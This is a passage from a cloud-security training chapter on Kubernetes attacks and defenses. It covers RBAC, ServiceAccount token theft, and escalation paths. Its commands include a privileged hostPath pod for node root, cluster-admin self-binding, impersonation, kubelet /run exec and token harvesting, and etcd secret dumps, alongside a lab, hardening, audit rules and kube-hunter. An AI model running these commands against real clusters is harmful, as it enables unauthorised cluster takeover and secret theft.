Kubernetes Attacks: RBAC, Pods, Secrets, kube-hunter & kube-bench
This is Chapter 7 of the Cloud Security notebook. The previous chapter took apart a single container — namespaces, cgroups, capabilities, the Docker socket, and the breakout primitives that turn one container into control of its host. This chapter zooms out to the system that runs thousands of those containers in production: Kubernetes. If a container is a lied-to Linux process, a Kubernetes cluster is the machine that decides which lies get told, on which node, with which identity, and with access to which secrets — and almost every one of those decisions is a place an attacker can subvert.
The single idea to carry through the whole chapter: in Kubernetes, everything is an object in the API server, and every action is an authenticated, authorized request to that one endpoint. Get a token that the API server trusts, and the entire cluster is a REST API away. That is why Kubernetes attacks are rarely about memory-corruption exploits and almost always about identity and authorization: a ServiceAccount token left in a pod, an RBAC Role that is one verb too generous, a kubelet that answers unauthenticated requests, a Secret sitting base64-encoded in etcd. Understand how the pieces authenticate and authorize each other, and both the offensive path (token theft → RBAC abuse → pod escape → node → cluster-admin) and the defensive path (least-privilege RBAC, admission control, audit logging) stop being magic.
Everything here is for clusters you own or are explicitly authorised in writing to assess. Enumerating or exploiting a Kubernetes API server, kubelet, or etcd you do not control is unauthorised access and a crime in essentially every jurisdiction. Build the local kind cluster described in Part 11 on your own machine, or practise on the deliberately-vulnerable ranges named in the final part.
Why Kubernetes Security Is Its Own Discipline
Section titled “Why Kubernetes Security Is Its Own Discipline”By the time an organisation runs Kubernetes, it has usually consolidated dozens of services, hundreds of secrets, and its entire deployment pipeline onto one control plane. That concentration is exactly why the cluster is such a high-value target: compromising the API server with cluster-admin is frequently equivalent to compromising every application and every secret the organisation runs. A single over-permissioned ServiceAccount can be worth more than a domain-admin account in a classic Active Directory network.
Kubernetes also fails quietly. A misconfigured RBAC binding does not throw an error — it simply grants access that nobody notices until it is abused. An anonymous-auth API server does not warn you — it just answers. A pod with hostPath: / mounted does not look different in a dashboard from a hardened one. Because the failure modes are configuration, not code, they survive patching, they survive vulnerability scanners that only look at CVEs, and they accumulate as clusters grow. That is why Kubernetes attack-and-defense is a distinct skill from container security or cloud IAM, and why it gets its own chapter.
Who this is for: pentesters and red teamers who land a shell in a container and need to know what to do next; bug-bounty hunters who find an exposed 10250 or /version endpoint; and blue-teamers and platform engineers who own a cluster and need to know what “secure” actually means in RBAC, admission, and audit terms.
Part 1: What Kubernetes Actually Is — Control Plane vs Data Plane
Section titled “Part 1: What Kubernetes Actually Is — Control Plane vs Data Plane”Before attacking anything, you need an accurate mental model. A Kubernetes cluster is a set of machines (nodes) split into two roles.
The control plane is the brain. It decides what should be running. Its components are:
- kube-apiserver — the front door. Every read and every write in the cluster goes through it as an authenticated, authorized, admission-controlled REST call. It is stateless itself; it persists everything to etcd. This is the single most important attack target in the entire cluster.
- etcd — a distributed key-value store that holds the entire cluster state: every object, every ConfigMap, and every Secret (by default only base64-encoded, not encrypted). Read access to etcd equals read access to every secret in the cluster.
- kube-scheduler — decides which node an unscheduled pod runs on.
- kube-controller-manager — runs the control loops that drive actual state toward desired state (replica counts, node health, ServiceAccount token creation, etc.).
- cloud-controller-manager — integrates with the cloud provider (load balancers, node lifecycle, volumes).
The data plane (worker nodes) is where containers actually run. On every node:
- kubelet — the node agent. It talks to the API server, pulls pod specs, and drives the container runtime to start/stop containers. It exposes an HTTPS API (port 10250) that can run commands inside pods (
/exec,/run), stream logs, and list pods. If that API is reachable and does not require authentication/authorization, it is a direct path to code execution in every pod on the node. - kube-proxy — programs iptables/IPVS rules so Service virtual IPs route to pod IPs.
- container runtime — containerd or CRI-O (Docker’s dockershim was removed in v1.24), spoken to via the CRI (Container Runtime Interface).
Two more plugin interfaces matter for attackers: the CNI (Container Network Interface) implements pod networking and NetworkPolicy (Calico, Cilium, Flannel), and the CSI (Container Storage Interface) implements persistent volumes.
flowchart TD
subgraph CP[Control Plane]
API[kube-apiserver :6443]
ETCD[(etcd :2379)]
SCHED[kube-scheduler]
CM[controller-manager]
API <--> ETCD
SCHED --> API
CM --> API
end
subgraph N1[Worker Node 1]
K1[kubelet :10250]
P1[kube-proxy]
RT1[containerd/CRI-O]
K1 --> RT1
end
subgraph N2[Worker Node 2]
K2[kubelet :10250]
RT2[containerd/CRI-O]
K2 --> RT2
end
API <--> K1
API <--> K2
User[kubectl / client] -->|authenticated REST| API
Attacker’s takeaway from this map: there are exactly four network doors worth memorising — the API server (6443), etcd (2379/2380), the kubelet (10250, and the deprecated read-only 10255), and the cloud metadata endpoint (169.254.169.254) reachable from inside pods. Nearly every real Kubernetes compromise starts at one of those four.
| Component | Default port(s) | What it exposes if unauthenticated | Attacker value |
|---|---|---|---|
| kube-apiserver | 6443 (443 on managed) | Full cluster API subject to RBAC | Total control if a trusted token is obtained |
| kubelet | 10250 (RW), 10255 (RO, deprecated) | Exec/run in pods, pod list, node metrics | RCE in every pod on the node |
| etcd | 2379 (client), 2380 (peer) | Entire cluster state incl. Secrets | All secrets, cluster-wide |
| kube-scheduler / controller-manager | 10259 / 10257 | Health/metrics (usually localhost) | Low, but leaks config |
| cloud metadata | 169.254.169.254 | Node IAM credentials (IMDS) | Cloud account pivot |
Part 2: How Requests Are Authenticated and Authorized
Section titled “Part 2: How Requests Are Authenticated and Authorized”Every request to the API server passes through three gates, in order: Authentication → Authorization → Admission. Understanding this pipeline is the difference between guessing and knowing where a cluster can be broken.
sequenceDiagram
participant C as Client (kubectl / pod)
participant A as kube-apiserver
participant Au as Authn modules
participant Az as Authz (RBAC)
participant Ad as Admission controllers
participant E as etcd
C->>A: HTTPS request + credential
A->>Au: Who are you? (cert / token / OIDC)
Au-->>A: username + groups (or 401)
A->>Az: Can this user do this verb on this resource?
Az-->>A: allow / deny (RBAC rules)
A->>Ad: Mutate/validate object (PSA, OPA, quotas)
Ad-->>A: admit / reject
A->>E: persist object
E-->>A: ok
A-->>C: 200 / 201
Authentication establishes who you are. Kubernetes has no user database; it trusts external proofs:
- Client certificates — a cert signed by the cluster CA. The
CNbecomes the username, theOfields become groups. This is howkubectladmin access usually works. A cert withO=system:mastersis unconditional cluster-admin — RBAC does not even apply to that group. - ServiceAccount tokens — JWTs mounted into pods. This is the credential attackers steal most often. Legacy tokens (pre-1.24) were long-lived Secrets; modern bound tokens are short-lived, audience-scoped JWTs projected via the TokenRequest API.
- OIDC tokens — from an external identity provider (used by most managed clusters: EKS uses IAM, GKE uses Google identity, AKS uses Entra ID).
- Static token / basic-auth files — legacy, insecure, thankfully rare now.
- Anonymous — if
--anonymous-auth=true(historically the default on the raw API server), unauthenticated requests are given the usernamesystem:anonymousin groupsystem:unauthenticated. This is only safe because RBAC should grant that identity nothing. Misconfigure the RBAC and anonymous becomes powerful.
Authorization decides what you can do, almost always via RBAC (Role-Based Access Control). We dedicate Part 4 to it. Other authorizers exist (ABAC, the Node authorizer for kubelets, Webhook) but RBAC is the one you attack and defend.
Admission control runs after auth but before persistence, and can mutate or reject objects. This is where Pod Security Admission, resource quotas, and policy engines like OPA/Gatekeeper and Kyverno enforce rules such as “no privileged pods” — and therefore where defenders stop many of the attacks in this chapter.
A crucial attacker insight: admission runs last. If you are authorized to create a privileged pod and no admission controller blocks it, you win — RBAC said yes and nothing downstream said no.
Part 3: The kubectl Tool from Scratch
Section titled “Part 3: The kubectl Tool from Scratch”Every interaction in this chapter uses kubectl, the official CLI. Teach it once, use it everywhere.
What it is: a Go binary that reads a kubeconfig file, turns your subcommands into REST calls against the API server, and prints the responses. It is a thin, honest client — anything kubectl can do, a raw curl with the same token can do too, which matters when you only have curl inside a compromised pod.
Install (Kali/Debian):
# Fetch the matching stable clientcurl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectlkubectl version --client # confirm it runsThe kubeconfig is the credential file, by default ~/.kube/config. It has three sections: clusters (API server URL + CA), users (certs or tokens), and contexts (a cluster+user+namespace triple). The current-context selects which one is active.
kubectl config view # show merged config (redacts secrets by default)kubectl config view --raw # show it WITH the secrets/tokens — attacker goldkubectl config get-contexts # list all contexts you havekubectl config use-context prod # switch clustersCore verbs you will use constantly:
| Command | What it does | Key flags |
|---|---|---|
kubectl get <res> | List objects | -A (all namespaces), -o yaml/json/wide, -n <ns> |
kubectl describe <res> <name> | Human-readable detail incl. events | -n |
kubectl auth can-i <verb> <res> | Ask RBAC what YOU can do | --list, --as, -n |
kubectl get secret <n> -o yaml | Read a Secret (base64) | -o jsonpath=... |
kubectl exec -it <pod> -- sh | Shell into a running pod | -c <container> |
kubectl run / apply -f | Create pods/objects | --image, --overrides |
kubectl proxy | Local authenticated proxy to the API | --port |
The two single most useful reconnaissance commands in the whole cluster are:
kubectl auth can-i --list # everything the CURRENT identity can dokubectl auth can-i --list --as=system:anonymous # what anonymous can docan-i --list enumerates your effective permissions without touching a single object — it just asks the API server’s authorizer. It is non-destructive, fast, and the first thing to run after obtaining any token. Red team usage: run it immediately on any stolen token to know your blast radius before making noise. Blue team usage: run it as suspicious ServiceAccounts to audit what they could do.
Part 4: RBAC — The Model You Attack and Defend
Section titled “Part 4: RBAC — The Model You Attack and Defend”RBAC is four object types that combine into “who can do what, where.”
- Role — a set of rules (allowed verbs on resources) scoped to one namespace.
- ClusterRole — the same, but cluster-wide (or usable as a template in any namespace).
- RoleBinding — grants a Role (or ClusterRole) to subjects (users, groups, ServiceAccounts) in one namespace.
- ClusterRoleBinding — grants a ClusterRole to subjects across the whole cluster.
A rule is apiGroups × resources × verbs (optionally narrowed to named resources). Verbs are get, list, watch, create, update, patch, delete, deletecollection, plus special verbs escalate, bind, impersonate, and subresource verbs like create on pods/exec.
graph LR
SA[ServiceAccount / User / Group] -->|subject of| RB[RoleBinding]
RB -->|grants| R[Role: verbs x resources]
SA -->|subject of| CRB[ClusterRoleBinding]
CRB -->|grants| CR[ClusterRole]
R -->|scoped to| NS[One namespace]
CR -->|cluster-wide| CL[All namespaces]
Here is a deliberately over-permissioned Role and a binding, so you can read RBAC fluently:
apiVersion: rbac.authorization.k8s.io/v1kind: Rolemetadata: name: pod-manager namespace: devrules:- apiGroups: [""] # "" is the core API group resources: ["pods", "pods/exec"] verbs: ["get", "list", "create"]- apiGroups: [""] resources: ["secrets"] verbs: ["get", "list"] # <-- reading every Secret in dev---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: bind-pod-manager namespace: devsubjects:- kind: ServiceAccount name: ci-runner namespace: devroleRef: kind: Role name: pod-manager apiGroup: rbac.authorization.k8s.ioRead that as: the ci-runner ServiceAccount in dev may get/list/create pods, exec into pods, and read every Secret in dev. That is already dangerous — Part 6 shows why “create pods + read secrets” is a privilege-escalation primitive.
The dangerous verbs and resources
Section titled “The dangerous verbs and resources”Some grants are far more powerful than they look. Memorise this table — it is the core of RBAC attack analysis.
| Grant | Why it’s dangerous |
|---|---|
create on pods | Schedule an attacker-controlled pod — mount host paths, use another SA, run privileged |
create on pods/exec | Run commands in existing pods (equivalent to shell on those workloads) |
get/list on secrets | Read tokens, TLS keys, DB creds — often the whole point |
escalate on roles/clusterroles | Grant yourself permissions you don’t have (bypasses the escalation guard) |
bind on roles/clusterroles | Create a binding to a more powerful role |
impersonate on users/groups/serviceaccounts | Act as any identity, including cluster-admin |
create on serviceaccounts/token | Mint a token for any SA you can name |
* verb on * resource | cluster-admin in all but name |
update/patch on nodes or workloads controllers (deployments, daemonsets, cronjobs) | Deploy attacker pods indirectly |
Kubernetes has a built-in guard called the privilege-escalation prevention: you normally cannot create or update a Role that has permissions you do not already hold. The special verbs escalate and bind are exactly the loopholes that disable that guard — which is why granting them is almost always a mistake.
Blue team usage: audit for these verbs directly. kubectl get clusterroles -o json | jq '.items[] | select(.rules[]?.verbs[]? | test("escalate|bind|impersonate"))' surfaces every ClusterRole that can escalate. Also flag any subject bound to the built-in cluster-admin ClusterRole that is not a known admin.
Part 5: ServiceAccount Tokens — The Credential Attackers Steal
Section titled “Part 5: ServiceAccount Tokens — The Credential Attackers Steal”Every pod runs as a ServiceAccount. Unless you opt out, Kubernetes projects that SA’s token into the pod’s filesystem at a well-known path. This is the number-one credential theft in real Kubernetes compromises: pop one container, read one file, and you have an authenticated identity to the API server.
The token and its friends live here:
/var/run/secrets/kubernetes.io/serviceaccount/├── token # the JWT bearer token├── ca.crt # the cluster CA, so you can TLS-verify the API server└── namespace # the pod's namespaceFrom inside any compromised pod:
# Where is the API server? These env vars are always injected.echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT # e.g. 10.96.0.1 443
SA=/var/run/secrets/kubernetes.io/serviceaccountTOKEN=$(cat $SA/token)APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# Ask the API server who this token is (SelfSubjectReview / whoami)curl -sk --cacert $SA/ca.crt -H "Authorization: Bearer $TOKEN" \ $APISERVER/apis/authentication.k8s.io/v1/selfsubjectreviews \ -X POST -H 'Content-Type: application/json' \ -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'Sample output identifying the token’s subject:
{ "status": { "userInfo": { "username": "system:serviceaccount:dev:ci-runner", "uid": "b1c...", "groups": ["system:serviceaccounts","system:serviceaccounts:dev","system:authenticated"] } }}Now enumerate what that identity can do, using the token directly with kubectl:
kubectl --server=$APISERVER --token=$TOKEN --certificate-authority=$SA/ca.crt \ auth can-i --listOr, if kubectl isn’t installed in the pod (common), fall back to raw REST — the SelfSubjectRulesReview endpoint returns the same data:
curl -sk --cacert $SA/ca.crt -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' -X POST \ $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \ -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"dev"}}'Decoding the token tells you its scope and lifetime. A projected bound token is a JWT — split on . and base64url-decode the middle segment:
cut -d. -f2 <<<"$TOKEN" | base64 -d 2>/dev/null | jq .{ "aud": ["https://kubernetes.default.svc"], "exp": 1799999999, "iss": "https://kubernetes.default.svc", "kubernetes.io": { "namespace": "dev", "pod": {"name": "web-6f8...", "uid": "..."}, "serviceaccount": {"name": "ci-runner", "uid": "..."} }, "sub": "system:serviceaccount:dev:ci-runner"}Key attacker facts about tokens:
automountServiceAccountToken— if a pod or its SA sets this tofalse, no token is projected. Many hardened workloads do this precisely to deny attackers a credential. Blue team usage: setautomountServiceAccountToken: falseon every workload that never talks to the API server (most of them).- Bound tokens expire (default ~1 hour, refreshed by the kubelet) and are audience-bound to
kubernetes.default.svc. You cannot replay them against an arbitrary OIDC-protected service — theaudclaim won’t match. - Legacy Secret-based tokens (still present on older clusters, or when you create a
kubernetes.io/service-account-tokenSecret) do not expire and are stored in etcd. Finding one is a durable foothold.
CTF / bug-bounty angle: an SSRF in a cloud-hosted app is frequently the entry into a cluster: SSRF to http://169.254.169.254/... for node IAM creds, or SSRF that lets you reach https://kubernetes.default.svc with the pod’s own mounted token. Kubernetes CTF rooms (see Part 13) almost always start with “you have a shell in a pod — read the token.”
Part 6: Privilege Escalation Paths — From Pod to Cluster-Admin
Section titled “Part 6: Privilege Escalation Paths — From Pod to Cluster-Admin”You have a token and you know what it can do. Now turn limited permissions into total control. Each path below is a real, commonly-found misconfiguration.
flowchart TD
A[Shell in a pod] --> B[Read mounted SA token]
B --> C{What can this SA do?}
C -->|list secrets| D[Read other SAs' tokens / cloud creds]
C -->|create pods| E[Schedule privileged / hostPath pod]
C -->|pods/exec| F[Exec into higher-priv pods]
C -->|escalate/bind| G[Grant self cluster-admin]
C -->|impersonate| H[Act as cluster-admin directly]
E --> I[Mount host FS / hostPID -> node root]
I --> J[Read /etc/kubernetes/admin.conf or all kubelet pods]
D --> K[Reuse a more powerful token]
G --> L[cluster-admin]
H --> L
J --> L
K --> L
6.1 create pods → privileged pod → node root
Section titled “6.1 create pods → privileged pod → node root”If your SA can create pods, you can schedule a pod that mounts the host filesystem and gives you root on the node. This is the workhorse escalation.
# evil-pod.yaml — schedule on a node and break out to itapiVersion: v1kind: Podmetadata: name: pause-debug namespace: devspec: hostPID: true # share the node's PID namespace hostNetwork: true containers: - name: shell image: alpine command: ["/bin/sh","-c","sleep 1d"] securityContext: privileged: true # all capabilities, device access volumeMounts: - name: host mountPath: /host # mount node root FS into the pod volumes: - name: host hostPath: path: / # the entire node filesystemkubectl apply -f evil-pod.yamlkubectl exec -it pause-debug -n dev -- chroot /host bash # you are now root on the nodeOnce you are root on a node you can: read /etc/kubernetes/admin.conf (on a control-plane node this is cluster-admin), read every other pod’s projected token under /var/lib/kubelet/pods/*/volumes/, dump container secrets, and (with hostPID) enter other processes’ namespaces with nsenter. This is the container-breakout material from Chapter 6 applied at cluster scale.
Defensive note: this entire path is blocked by admission control that forbids privileged, hostPID, hostNetwork, and hostPath — which is exactly what Pod Security Admission’s baseline/restricted levels do (Part 9).
6.2 list secrets → steal a more powerful token
Section titled “6.2 list secrets → steal a more powerful token”If you can list Secrets, you can read every kubernetes.io/service-account-token Secret (on clusters that still create them) and every application secret:
# Enumerate all secrets, find token-type ones, decode themkubectl get secrets -A -o json | jq -r ' .items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.annotations["kubernetes.io/service-account.name"]): " + (.data.token | @base64d)'Now test each recovered token with kubectl auth can-i --list --token=<t> until you find one bound to cluster-admin — SA tokens for controllers, dashboards, or CI systems frequently are.
6.3 escalate or bind → grant yourself anything
Section titled “6.3 escalate or bind → grant yourself anything”If your SA can create/patch RBAC objects and holds escalate/bind, the escalation guard is off:
# Bind yourself (or your SA) to the built-in cluster-adminapiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: totally-normalsubjects:- kind: ServiceAccount name: ci-runner namespace: devroleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.iokubectl apply -f pwn-binding.yaml # succeeds only if you hold bind/escalate6.4 impersonate → become cluster-admin for one command
Section titled “6.4 impersonate → become cluster-admin for one command”Impersonation needs no new object at all — every request just carries an “act as” header:
kubectl get secrets -A --as=system:admin # act as a userkubectl get pods -A --as=system:serviceaccount:kube-system:clusterrole-aggregation-controllerkubectl auth can-i '*' '*' --as-group=system:masters # the masters group bypasses RBAC entirelyIf your SA holds impersonate on users/groups, --as-group=system:masters is instant cluster-admin because RBAC does not apply to system:masters.
6.5 pods/exec into a privileged pod
Section titled “6.5 pods/exec into a privileged pod”If you cannot create pods but can exec, find an existing privileged pod (a CNI agent, a node-exporter, a logging DaemonSet often run privileged with host mounts) and exec into it:
kubectl get pods -A -o json | jq -r ' .items[] | select(.spec.containers[].securityContext.privileged==true) | "\(.metadata.namespace)/\(.metadata.name)"'kubectl exec -it -n kube-system <privileged-pod> -- chroot /host bash| Escalation primitive | Requires | Ends in |
|---|---|---|
| Privileged/hostPath pod | create pods (+ no PSA) | Node root → control plane |
| Token theft | get/list secrets | Reuse of a stronger identity |
| RBAC self-grant | escalate/bind on roles | cluster-admin |
| Impersonation | impersonate | cluster-admin (via system:masters) |
| Exec into priv pod | pods/exec | Node root |
| Workload controller abuse | create/patch deployments, daemonsets, cronjobs | Attacker pods on many nodes |
Part 7: Attacking the kubelet and etcd Directly
Section titled “Part 7: Attacking the kubelet and etcd Directly”Not every attack goes through a stolen SA token. Two network services are worth probing directly when you have network reach (from a compromised pod, an adjacent host, or occasionally the internet).
7.1 The kubelet API (10250 / 10255)
Section titled “7.1 The kubelet API (10250 / 10255)”The kubelet exposes an HTTPS API on 10250. Historically many clusters also ran an unauthenticated read-only HTTP API on 10255. If the kubelet is configured with --anonymous-auth=true and no authorization webhook (older/DIY clusters), 10250 answers unauthenticated requests — and it can run commands in pods.
# List pods the node is running (read-only, no auth needed on 10255 if enabled)curl -sk https://NODE_IP:10250/pods | jq '.items[].metadata.name'curl -s http://NODE_IP:10255/pods | jq '.items[].metadata.name' # deprecated RO port
# Run a command inside a pod via the kubelet /run endpointcurl -sk https://NODE_IP:10250/run/<namespace>/<pod>/<container> \ -d "cmd=id; cat /var/run/secrets/kubernetes.io/serviceaccount/token"kubeletctl automates this. Tool from scratch — kubeletctl: a Go client purpose-built to enumerate and exploit kubelet APIs. Install and use:
# Installcurl -LO https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_linux_amd64chmod +x kubeletctl_linux_amd64 && sudo mv kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl pods -s NODE_IP # list pods on the nodekubeletctl scan rce -s NODE_IP # find pods you can exec intokubeletctl exec "id" -s NODE_IP -p <pod> -c <container> -n <ns># Harvest every mounted SA token on the node in one shot:kubeletctl scan token -s NODE_IPHarvesting tokens from every pod on a node via the kubelet, then testing each against the API server, is one of the fastest routes from “one exposed kubelet” to “cluster-admin.”
Blue team usage: kubelets must run with --anonymous-auth=false and --authorization-mode=Webhook (the default on kubeadm/managed clusters since ~1.7). Never expose 10250/10255 beyond the control plane and monitoring. Detection: unusual source IPs hitting /run, /exec, or /pods on the kubelet port.
7.2 etcd (2379)
Section titled “7.2 etcd (2379)”etcd holds everything, and Secrets are only base64-encoded at rest unless encryption at rest (an EncryptionConfiguration) is enabled. If you can reach etcd with its client certs (from a control-plane node you rooted, or an unauthenticated etcd — which does happen on DIY clusters), you can read every Secret directly:
export ETCDCTL_API=3etcdctl --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/server.crt \ --key=/etc/kubernetes/pki/etcd/server.key \ get /registry/secrets --prefix --keys-only # list every secret key
etcdctl ... get /registry/secrets/kube-system/bootstrap-token-abcdef | stringsBlue team usage: enable encryption at rest (--encryption-provider-config, ideally KMS-backed), restrict etcd to control-plane peers with mutual TLS, and never run etcd with --client-cert-auth=false.
Part 8: Hands-On Lab — Compromise a Cluster on kind
Section titled “Part 8: Hands-On Lab — Compromise a Cluster on kind”This lab is fully reproducible on one laptop using kind (Kubernetes-in-Docker). You will stand up a cluster, plant a realistic misconfiguration, and walk the full pod → token → RBAC → node → cluster-admin chain.
8.1 Tools from scratch — kind, then the cluster
Section titled “8.1 Tools from scratch — kind, then the cluster”kind runs each Kubernetes node as a Docker container — perfect for a throwaway attack range.
# Install kind + kubectl (kubectl covered in Part 3)curl -Lo ./kind https://kind.sigs.k8s.io/dl/latest/kind-linux-amd64chmod +x kind && sudo mv kind /usr/local/bin/kind
# Create a 1 control-plane + 1 worker clustercat > kind.yaml <<'EOF'kind: ClusterapiVersion: kind.x-k8s.io/v1alpha4nodes:- role: control-plane- role: workerEOFkind create cluster --name pwnlab --config kind.yamlkubectl cluster-info --context kind-pwnlab8.2 Plant the misconfiguration
Section titled “8.2 Plant the misconfiguration”Create a namespace, an over-permissioned SA/Role, and a victim pod running as that SA:
kubectl create namespace devkubectl -n dev create serviceaccount ci-runner
cat > rbac.yaml <<'EOF'apiVersion: rbac.authorization.k8s.io/v1kind: Rolemetadata: {name: pod-manager, namespace: dev}rules:- apiGroups: [""] resources: ["pods","pods/exec","secrets"] verbs: ["get","list","create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: {name: bind-pod-manager, namespace: dev}subjects: [{kind: ServiceAccount, name: ci-runner, namespace: dev}]roleRef: {kind: Role, name: pod-manager, apiGroup: rbac.authorization.k8s.io}EOFkubectl apply -f rbac.yaml
# A victim pod running as the ci-runner SA (this is our "compromised" workload)kubectl -n dev run web --image=nginx --overrides='{"spec":{"serviceAccountName":"ci-runner"}}'
# Plant a juicy secret in another namespace to prove impactkubectl create namespace prodkubectl -n prod create secret generic db-creds --from-literal=password='S3cr3t-prod-DB'8.3 Attack from inside the pod
Section titled “8.3 Attack from inside the pod”Simulate the shell you’d get from an RCE, and walk the chain:
kubectl -n dev exec -it web -- bash
# --- inside the pod ---SA=/var/run/secrets/kubernetes.io/serviceaccountTOKEN=$(cat $SA/token); API=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# Who am I?cut -d. -f2 <<<"$TOKEN" | base64 -d 2>/dev/null # -> system:serviceaccount:dev:ci-runner
# What can I do? (raw REST, no kubectl in the container)curl -sk --cacert $SA/ca.crt -H "Authorization: Bearer $TOKEN" -X POST \ $API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \ -H 'Content-Type: application/json' \ -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"dev"}}' \ | jq '.status.resourceRules'Expected (trimmed) output — confirms get/list/create on pods, exec, secrets in dev:
[ {"verbs":["get","list","create"],"apiGroups":[""],"resources":["pods","pods/exec","secrets"]}]Now escalate. The SA can create pods, so schedule a node-root pod (from your attacker box using the stolen token, or via raw REST from the pod):
# From attacker box, wiring kubectl to the stolen token:kubectl config set-credentials stolen --token="$TOKEN"kubectl config set-cluster pwnlab --server="$API" --insecure-skip-tls-verify=truekubectl config set-context pwn --cluster=pwnlab --user=stolen --namespace=devkubectl config use-context pwn
kubectl apply -f evil-pod.yaml # the hostPID/privileged/hostPath pod from Part 6.1kubectl exec -it pause-debug -n dev -- chroot /host sh# --- now root on the WORKER node ---# Harvest every pod's token on this node:find /var/lib/kubelet/pods -name token -path '*serviceaccount*' -exec sh -c 'echo "== $1"; cat "$1"; echo' _ {} \;Because a kind control-plane node also runs the API server, if evil-pod lands on (or you re-target) the control-plane node, /etc/kubernetes/admin.conf is cluster-admin:
cat /host/etc/kubernetes/admin.conf > /tmp/admin.conf # from inside the breakout podKUBECONFIG=/tmp/admin.conf kubectl get secret db-creds -n prod -o jsonpath='{.data.password}' | base64 -d# -> S3cr3t-prod-DB (full cross-namespace secret access = game over)You have gone from a shell in one dev pod to reading prod secrets as cluster-admin. Tear down: kind delete cluster --name pwnlab.
Part 9: Detection & Defense Angle
Section titled “Part 9: Detection & Defense Angle”Everything above is stopped or caught by a handful of controls. This is the consolidated defensive section; wire these into any cluster you own.
9.1 RBAC least privilege
Section titled “9.1 RBAC least privilege”- Never bind
cluster-adminto application ServiceAccounts. Audit:kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'. - Prefer namespaced Roles over ClusterRoles. Grant specific verbs, not
*. - Eliminate
escalate,bind,impersonate, andcreateonpods/*,serviceaccounts/token, and RBAC objects from anything that isn’t a controller. - Set
automountServiceAccountToken: falseby default; opt in per-workload.
9.2 Admission control — the strongest single control
Section titled “9.2 Admission control — the strongest single control”Pod Security Admission (PSA) is built in (GA since 1.25). Label namespaces to enforce a level:
kubectl label ns dev \ pod-security.kubernetes.io/enforce=restricted \ pod-security.kubernetes.io/warn=restrictedrestricted forbids privileged, hostPID/hostNetwork/hostIPC, hostPath volumes, running as root, and added capabilities — which single-handedly kills the Part 6.1 breakout. For policy beyond the three PSA levels, use OPA/Gatekeeper or Kyverno. Example Kyverno policy to block privileged pods:
apiVersion: kyverno.io/v1kind: ClusterPolicymetadata: {name: disallow-privileged}spec: validationFailureAction: Enforce rules: - name: no-privileged match: {any: [{resources: {kinds: [Pod]}}]} validate: message: "Privileged containers are not allowed" pattern: spec: containers: - =(securityContext): =(privileged): "false"9.3 Audit logging — how you catch the attack
Section titled “9.3 Audit logging — how you catch the attack”The API server can log every request. A minimal policy that records metadata for everything and full bodies for secret/RBAC changes:
apiVersion: audit.k8s.io/v1kind: Policyrules:- level: RequestResponse resources: - group: "" resources: ["secrets"] - group: "rbac.authorization.k8s.io" resources: ["roles","rolebindings","clusterroles","clusterrolebindings"]- level: Metadata # everything else at metadata levelHigh-signal detections to alert on:
| Signal | Why it matters |
|---|---|
create on clusterrolebindings referencing cluster-admin | Self-grant escalation (Part 6.3) |
Requests with impersonate headers / system:masters group | Impersonation escalation (Part 6.4) |
Pod create with privileged, hostPID, or hostPath: / | Node breakout attempt (Part 6.1) |
exec/attach subresource calls to kube-system pods | Priv-pod exec (Part 6.5) |
Anonymous (system:anonymous) requests that are allowed | Broken anonymous RBAC |
list secrets across many namespaces by an app SA | Token/secret harvesting |
Direct kubelet :10250 /run /exec from odd sources | kubelet abuse (Part 7.1) |
Runtime detection tools from the container chapter apply here: Falco ships Kubernetes-aware rules (e.g. “shell in container”, “sensitive mount”, “contact K8s API server from container”) and reads the audit log via its k8saudit plugin. Pair audit logs with a NetworkPolicy default-deny so pods cannot freely reach kubernetes.default.svc or 169.254.169.254.
9.4 Network and secret hardening
Section titled “9.4 Network and secret hardening”- Default-deny NetworkPolicy per namespace; explicitly allow only needed egress. This blocks token exfiltration and metadata-endpoint pivots.
- Encryption at rest for etcd (KMS-backed
EncryptionConfiguration). - External secret managers (Vault, AWS/GCP/Azure secret stores via CSI or External Secrets Operator) so nothing sensitive sits in etcd as base64.
- Block pod access to the cloud metadata endpoint (hop-limit or NetworkPolicy) to stop the IMDS pivot.
Part 10: kube-hunter and kube-bench from Scratch
Section titled “Part 10: kube-hunter and kube-bench from Scratch”Two tools bracket the offense/defense split: kube-hunter actively probes a cluster like an attacker; kube-bench audits a node against the CIS Kubernetes Benchmark like a defender. Learn both.
10.1 kube-hunter (offensive discovery)
Section titled “10.1 kube-hunter (offensive discovery)”What it is: an open-source scanner (originally Aqua Security) that hunts for Kubernetes attack surface — exposed API servers, kubelets, dashboards, etcd, token mounts — and reports found vulnerabilities, not just open ports. It has three scan modes: remote (scan an IP/range from outside), internal (scan from the network it runs on), and pod (run it as a pod to see what an attacker with a foothold sees).
# Run in a container against a target you owndocker run -it --rm aquasec/kube-hunter --remote NODE_IP # remote scandocker run -it --rm aquasec/kube-hunter --cidr 10.0.0.0/24 # sweep a subnet# The most instructive mode — as a pod inside the cluster:kubectl run kube-hunter --rm -it --image=aquasec/kube-hunter -- --podRepresentative (trimmed) findings output:
